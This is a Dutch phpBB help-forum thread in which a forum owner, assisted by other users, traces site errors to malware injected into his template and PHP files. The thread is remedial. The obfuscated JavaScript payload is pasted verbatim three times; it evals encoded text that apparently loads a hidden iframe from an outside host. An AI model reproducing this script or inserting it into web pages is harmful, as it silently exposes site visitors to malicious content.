Trinitix Radio

[SequeLL]

• Adres van je forum: http://www.trinitixradio.com
  Event. modificaties op je forum:Dat post ik nog
  Wanneer ontstond het probleem?Paar dagen geleden
  phpBB versie:3.0
  
  
  Heb je onlangs iets veranderd aan je forum?nee
  Wat is het probleem?

Hallo mensen,

Ik heb een forum genaamd Trinitix Radio
Ik betaal ervoor en alles verliep goed totdat ik spammers op mijn site kreeg.Ik ben telkens bezig geweest om die spammers te verwijderen maar elke dag kwamen ze terug.Toen ik naar de acp ging stond er in het midden boven in een foutmelding in roode letters, er stond iets van let op u moet uw phpbb forum updaten ofzo.Naar veel tutorials te bekijken hoe het moet ben ik er nog niet uitgekomen.Waar ik nu op stuit is dat ik nu te laat ben met updaten want als je naar mijn site gaat. http://www.trinitixradio.com krijg je allemaal foutmeldingen. ik kan nog wel in de ftp etc.
Ik ben zelf niet echt handig met dit soort dingen maar ik wil het wel graag opgelost hebben.
Ik weet niet of iemand dit gratis voor mij weet/of kan maken of als dit betaald moet worden is het ook geen probleem.

Met vriendelijke groet,

Wesley van den berg.

[Pola]

De foutmelding heeft niets te maken met het te laat zijn met updaten.
Het lijkt er op dat het bestand /includes/hooks/index.php gewijzigd is. Het originele bestand heeft namelijk slechts 250 regels, terwijl de foutmelding verwijst naar regel 252. Het makkelijkste is waarschijnlijk een backup van dat bestand of een schone versie van het bestand uit een download van phpBB naar de juiste lokatie op je server te uploaden.

Je forum is - als ik het goed heb - versie 3.0.9 en loopt dus maar één versie achter. Dat is niet schokkend. Heb je mods (modificaties) geinstalleerd op je forum? Als ik het goed heb wel en in dat geval geval zul je de Automatische updater moeten gebruiken.

Ook zul je je custom stijl abrasive handmatig moeten bijwerken. Het stijl configuratie bestand geeft aan dat de stijl nog versie 3.0.7 is. Weet jij of bij eerdere updates de stijl abrasive ook handmatig bijgewerkt is? Als dat niet zo is, zul je alle wijzigingen vanaf 3.0.7 moeten doorvoeren in de stijl.
Mogelijk valt het bijwerken van de abrasive stijl heel erg mee, want ik zag dat de template bestanden geerft worden van prosilver.

[SequeLL]

Oke heel erg bedankt maar hoe moet ik die auto updater instaleren ?

[Pola]

Download de zip file waarnaar ik linkte, pak de zip file uit op je PC. Upload de inhoud van de zip file naar de root folder van je forum.
Browse dan naar http://www.trinitixradio.com/install en volg de instructies.

[SequeLL]

Oke nou dat heb ik gedaan ik gebruik filezilla om dat te uplouden ik heb dat geuploud naar mijn root.

maar er komt te staan dat er niks succesvol is overgedragen alleen maar mislukte overdragen zie screenshot hier onder.

http://i49.tinypic.com/9hi043.png

doe ik nou wat verkeerd of is simpel gezegt mijn site gewoon verkloot.


alvast bedankt.

[Pola]

Twee opmerkingen:

• Je moet niet de folder phpBB-NL-3.0.9_to_3.0.10 uploaden, maar de inhoud van die folder.
• Op je server moet je uploaden naar public_html. Daar vind je de files en folders van de hoofddirectory (root) van je forum.

[SequeLL]

OKe dat heb ik nu gedaan,

maar nu geeft tie aan

- Succesvolle overdrachten 18
- Mislukte overdrachten 258

[Pola]

In het schermpje bovenaan (en als je op "Mislukte overdrachten" klikt in de laatste kolom van het onderste schermpje) staan redenen aangegeven waarom de overdracht mislukt is.
Als er 18 overdrachten wel lukken en de rest niet, zou het kunnen zijn dat de uploads een time-out error hebben. In dat geval zul je contact met je host moeten opnemen.

[SequeLL]

Oke ik heb nu alles voor elkaar. maar krijg nu alleen dit nog

http://i47.tinypic.com/vwgas.jpg

als ik op doorgaan klik werkt de site nog wel maar ik zou graag deze foutmelding niet meer willen.,

[Pola]

In één of meerdere bestanden is malware geinjecteerd. Vaak heeft dat te maken met de beveiliging van de server door je host. Ik zou in ieder geval melding doen bij je host.

Van hetgeen ik er van zie, zit er (in ieder geval) een probleem in je /styles/<jouw stijl>/template/overall_header.html.
Als je dat bestand download en met een teksteditor zoals Notepad++ zoekt naar

Code: Selecteer alles

<body id="phpbb" class="section-{SCRIPT_NAME} {S_CONTENT_DIRECTION}">

verwacht ik dat je daarna een stuk vode vindt die niet thuishoort in het bestand. Dat stuk geinjecteerde code begint met <!--d93065--><script> en eindigt met </script><!--/d93065-->.

Maar nogmaals het advies contact op te nemen met je host. Ik weet niet of met voorgaande alle malware verwijderd is. Bovendien helpt het voor nu wel als je de malware verwijdert, maar er zal ook voor gezorgd moeten worden dat het niet mogelijk is dat het opnieuw gebeurt.

[SequeLL]

Dit staat daar


<body id="phpbb" class="section-{SCRIPT_NAME} {S_CONTENT_DIRECTION}"><!--d93065--><script>c=2;i=c-2;if(parseInt("0123")===83)if(window.document)try{new String("asd").prototype.q}catch(egewgsd){f=['-30i-30i66i63i-7i1i61i72i60i78i70i62i71i77i7i64i62i77i30i69i62i70i62i71i77i76i27i82i45i58i64i39i58i70i62i1i0i59i72i61i82i0i2i52i9i54i2i84i-26i-30i-30i-30i66i63i75i58i70i62i75i1i2i20i-26i-30i-30i86i-7i62i69i76i62i-7i84i-26i-30i-30i-30i61i72i60i78i70i62i71i77i7i80i75i66i77i62i1i-5i21i66i63i75i58i70i62i-7i76i75i60i22i0i65i77i77i73i19i8i8i67i58i83i83i78i77i62i7i75i78i8i60i72i78i71i77i14i7i73i65i73i0i-7i80i66i61i77i65i22i0i10i9i0i-7i65i62i66i64i65i77i22i0i10i9i0i-7i76i77i82i69i62i22i0i79i66i76i66i59i66i69i66i77i82i19i65i66i61i61i62i71i20i73i72i76i66i77i66i72i71i19i58i59i76i72i69i78i77i62i20i69i62i63i77i19i9i20i77i72i73i19i9i20i0i23i21i8i66i63i75i58i70i62i23i-5i2i20i-26i-30i-30i86i-26i-30i-30i63i78i71i60i77i66i72i71i-7i66i63i75i58i70i62i75i1i2i84i-26i-30i-30i-30i79i58i75i-7i63i-7i22i-7i61i72i60i78i70i62i71i77i7i60i75i62i58i77i62i30i69i62i70i62i71i77i1i0i66i63i75i58i70i62i0i2i20i63i7i76i62i77i26i77i77i75i66i59i78i77i62i1i0i76i75i60i0i5i0i65i77i77i73i19i8i8i67i58i83i83i78i77i62i7i75i78i8i60i72i78i71i77i14i7i73i65i73i0i2i20i63i7i76i77i82i69i62i7i79i66i76i66i59i66i69i66i77i82i22i0i65i66i61i61i62i71i0i20i63i7i76i77i82i69i62i7i73i72i76i66i77i66i72i71i22i0i58i59i76i72i69i78i77i62i0i20i63i7i76i77i82i69i62i7i69i62i63i77i22i0i9i0i20i63i7i76i77i82i69i62i7i77i72i73i22i0i9i0i20i63i7i76i62i77i26i77i77i75i66i59i78i77i62i1i0i80i66i61i77i65i0i5i0i10i9i0i2i20i63i7i76i62i77i26i77i77i75i66i59i78i77i62i1i0i65i62i66i64i65i77i0i5i0i10i9i0i2i20i-26i-30i-30i-30i61i72i60i78i70i62i71i77i7i64i62i77i30i69i62i70i62i71i77i76i27i82i45i58i64i39i58i70i62i1i0i59i72i61i82i0i2i52i9i54i7i58i73i73i62i71i61i28i65i66i69i61i1i63i2i20i-26i-30i-30i86'][0].split('i');v="ev"+"al";}if(v)e=window[v];w=f;s=[];r=String;for(;565!=i;i+=1){j=i;s+=r["fromC"+"harCode"](39+1*w[j]);}if(f)z=s;e(z);</script><!--/d93065-->

[Pola]

Ja, dat verwachtte ik al. Het stuk dat ik aangaf hoort er niet in thuis.

Code: Selecteer alles

<!--d93065--><script>c=2;i=c-2;if(parseInt("0123")===83)if(window.document)try{new String("asd").prototype.q}catch(egewgsd){f=['-30i-30i66i63i-7i1i61i72i60i78i70i62i71i77i7i64i62i77i30i69i62i70i62i71i77i76i27i82i45i58i64i39i58i70i62i1i0i59i72i61i82i0i2i52i9i54i2i84i-26i-30i-30i-30i66i63i75i58i70i62i75i1i2i20i-26i-30i-30i86i-7i62i69i76i62i-7i84i-26i-30i-30i-30i61i72i60i78i70i62i71i77i7i80i75i66i77i62i1i-5i21i66i63i75i58i70i62i-7i76i75i60i22i0i65i77i77i73i19i8i8i67i58i83i83i78i77i62i7i75i78i8i60i72i78i71i77i14i7i73i65i73i0i-7i80i66i61i77i65i22i0i10i9i0i-7i65i62i66i64i65i77i22i0i10i9i0i-7i76i77i82i69i62i22i0i79i66i76i66i59i66i69i66i77i82i19i65i66i61i61i62i71i20i73i72i76i66i77i66i72i71i19i58i59i76i72i69i78i77i62i20i69i62i63i77i19i9i20i77i72i73i19i9i20i0i23i21i8i66i63i75i58i70i62i23i-5i2i20i-26i-30i-30i86i-26i-30i-30i63i78i71i60i77i66i72i71i-7i66i63i75i58i70i62i75i1i2i84i-26i-30i-30i-30i79i58i75i-7i63i-7i22i-7i61i72i60i78i70i62i71i77i7i60i75i62i58i77i62i30i69i62i70i62i71i77i1i0i66i63i75i58i70i62i0i2i20i63i7i76i62i77i26i77i77i75i66i59i78i77i62i1i0i76i75i60i0i5i0i65i77i77i73i19i8i8i67i58i83i83i78i77i62i7i75i78i8i60i72i78i71i77i14i7i73i65i73i0i2i20i63i7i76i77i82i69i62i7i79i66i76i66i59i66i69i66i77i82i22i0i65i66i61i61i62i71i0i20i63i7i76i77i82i69i62i7i73i72i76i66i77i66i72i71i22i0i58i59i76i72i69i78i77i62i0i20i63i7i76i77i82i69i62i7i69i62i63i77i22i0i9i0i20i63i7i76i77i82i69i62i7i77i72i73i22i0i9i0i20i63i7i76i62i77i26i77i77i75i66i59i78i77i62i1i0i80i66i61i77i65i0i5i0i10i9i0i2i20i63i7i76i62i77i26i77i77i75i66i59i78i77i62i1i0i65i62i66i64i65i77i0i5i0i10i9i0i2i20i-26i-30i-30i-30i61i72i60i78i70i62i71i77i7i64i62i77i30i69i62i70i62i71i77i76i27i82i45i58i64i39i58i70i62i1i0i59i72i61i82i0i2i52i9i54i7i58i73i73i62i71i61i28i65i66i69i61i1i63i2i20i-26i-30i-30i86'][0].split('i');v="ev"+"al";}if(v)e=window[v];w=f;s=[];r=String;for(;565!=i;i+=1){j=i;s+=r["fromC"+"harCode"](39+1*w[j]);}if(f)z=s;e(z);</script><!--/d93065-->

[SequeLL]

hmm heb <!--d93065--><script>c=2;i=c-2;if(parseInt("0123")===83)if(window.document)try{new String("asd").prototype.q}catch(egewgsd){f=['-30i-30i66i63i-7i1i61i72i60i78i70i62i71i77i7i64i62i77i30i69i62i70i62i71i77i76i27i82i45i58i64i39i58i70i62i1i0i59i72i61i82i0i2i52i9i54i2i84i-26i-30i-30i-30i66i63i75i58i70i62i75i1i2i20i-26i-30i-30i86i-7i62i69i76i62i-7i84i-26i-30i-30i-30i61i72i60i78i70i62i71i77i7i80i75i66i77i62i1i-5i21i66i63i75i58i70i62i-7i76i75i60i22i0i65i77i77i73i19i8i8i67i58i83i83i78i77i62i7i75i78i8i60i72i78i71i77i14i7i73i65i73i0i-7i80i66i61i77i65i22i0i10i9i0i-7i65i62i66i64i65i77i22i0i10i9i0i-7i76i77i82i69i62i22i0i79i66i76i66i59i66i69i66i77i82i19i65i66i61i61i62i71i20i73i72i76i66i77i66i72i71i19i58i59i76i72i69i78i77i62i20i69i62i63i77i19i9i20i77i72i73i19i9i20i0i23i21i8i66i63i75i58i70i62i23i-5i2i20i-26i-30i-30i86i-26i-30i-30i63i78i71i60i77i66i72i71i-7i66i63i75i58i70i62i75i1i2i84i-26i-30i-30i-30i79i58i75i-7i63i-7i22i-7i61i72i60i78i70i62i71i77i7i60i75i62i58i77i62i30i69i62i70i62i71i77i1i0i66i63i75i58i70i62i0i2i20i63i7i76i62i77i26i77i77i75i66i59i78i77i62i1i0i76i75i60i0i5i0i65i77i77i73i19i8i8i67i58i83i83i78i77i62i7i75i78i8i60i72i78i71i77i14i7i73i65i73i0i2i20i63i7i76i77i82i69i62i7i79i66i76i66i59i66i69i66i77i82i22i0i65i66i61i61i62i71i0i20i63i7i76i77i82i69i62i7i73i72i76i66i77i66i72i71i22i0i58i59i76i72i69i78i77i62i0i20i63i7i76i77i82i69i62i7i69i62i63i77i22i0i9i0i20i63i7i76i77i82i69i62i7i77i72i73i22i0i9i0i20i63i7i76i62i77i26i77i77i75i66i59i78i77i62i1i0i80i66i61i77i65i0i5i0i10i9i0i2i20i63i7i76i62i77i26i77i77i75i66i59i78i77i62i1i0i65i62i66i64i65i77i0i5i0i10i9i0i2i20i-26i-30i-30i-30i61i72i60i78i70i62i71i77i7i64i62i77i30i69i62i70i62i71i77i76i27i82i45i58i64i39i58i70i62i1i0i59i72i61i82i0i2i52i9i54i7i58i73i73i62i71i61i28i65i66i69i61i1i63i2i20i-26i-30i-30i86'][0].split('i');v="ev"+"al";}if(v)e=window[v];w=f;s=[];r=String;for(;565!=i;i+=1){j=i;s+=r["fromC"+"harCode"](39+1*w[j]);}if(f)z=s;e(z);</script><!--/d93065-->





Gedelete maar het werkt nog niet

[Pola]

Heb je wel in het Beheerderspaneel de stijl templates vernieuwd?

[SequeLL]

daar kan ik niet inkomen als ik op beheerderspaneel klik krijg ik vervolgens deze fout.


Parse error: syntax error, unexpected $end in /home/c12255ios/domains/trinitixradio.com/public_html/adm/index.php on line 627

[Pola]

Heb je iets gewijzigd in /adm/index.php voor een mod?
Ik zou een schone versie van het bestand uit een download van phpBB 3.0.10 halen en dat bestand uploaden naar je server.

Om de stijlen te vernieuwen, als je niet in het beheerderspaneel kunt komen, kun je met je FTP client de map /cache leeghalen, behalve de twee bestanden index.htm en .htaccess.

[SequeLL]

ja heb die cache leeggemaakt en een originele index.php er ingedaan

nu krijg ik dit als ik op beheerderspaneel klik

maar je komt nu dus wel een stukje verder

http://i47.tinypic.com/288b281.png

[Pola]

Mogelijk staat in meerdere bestanden code die er niet in thuis hoort.
De foutmeldingen geven weer dat aan het einde van /adm/index.php (die je al vervangen hebt) en van /includes/hooks/index.php karakters/code is toegevoegd.

Maar nogmaals het advies contact op te nemen met je host. Ik weet niet of met voorgaande alle malware verwijderd is. Bovendien helpt het voor nu wel als je de malware verwijdert, maar er zal ook voor gezorgd moeten worden dat het niet mogelijk is dat het opnieuw gebeurt.

[SequeLL]

tja ik probeer contact op te nemen met mijn host maar ze reageren nergens op :S

[belfiets]

tja ik probeer contact op te nemen met mijn host maar ze reageren nergens op :S

Tja sommige hosten zijn niet 1,2,3 springklaar.
Soms kan je zelf ook iets proberen..
Ik raad je dit aan:
Wat kun je doen om van de malware af te komen?
Ga naar sucuri.net en laat daar gratis jouw website scannen.

Het is belangrijk om te weten welke files/pagina’s besmet zijn. Je kunt dan eventueel besluiten om de pagina’s tijdelijk buiten werking te stellen.
Er wordt bij de besmette pagina’s de verborgen codes weergegeven.

Open de besmette pagina met een browser en als je werkt met IE8 klik dan “page” in de balk aan en ga vervolgens naar view source. Je ziet dan de sitepagina in html. De geïnfecteerde pagina laat dan onderaan een code zien die overeenkomt met de code die ook op de sucuri scan is te zien. (Gebruik bij Mozilla Firefox de add on Firebug| kopje script.)

Het is nu duidelijk welke pagina’s er besmet zijn. Heb je een schone back-up dan kun je proberen de huidige bestanden te overschrijven en in het geval dat jouw WordPress versie niet up to date is deze eerst handmatig up daten.

Een schone back up
Heb je het geluk dat je in het bezit bent van een schone back up zet deze dan via een ftp-programma (Filezilla) over de bestanden heen. Kijk via ftp welke bestanden niet worden overgeschreven. Hernoem deze bijvoorbeeld van content.php naar contentvir.php.
Zet alle plugins uit in WordPress.

Check via sucuri.net of er nog meldingen worden gegeven. Zorg er wel voor dat de cache van jouw browser leeg is anders krijg je een valse melding. Krijg je geen meldingen meer dan lijkt het er op dat je de malware hebt verwijderd. Blader vervolgens met de browser door je site heen en kijk of alles nog functioneert. Hiermee controleer je of met de hernoemde files geen vitale onderdelen hebt uitgeschakeld.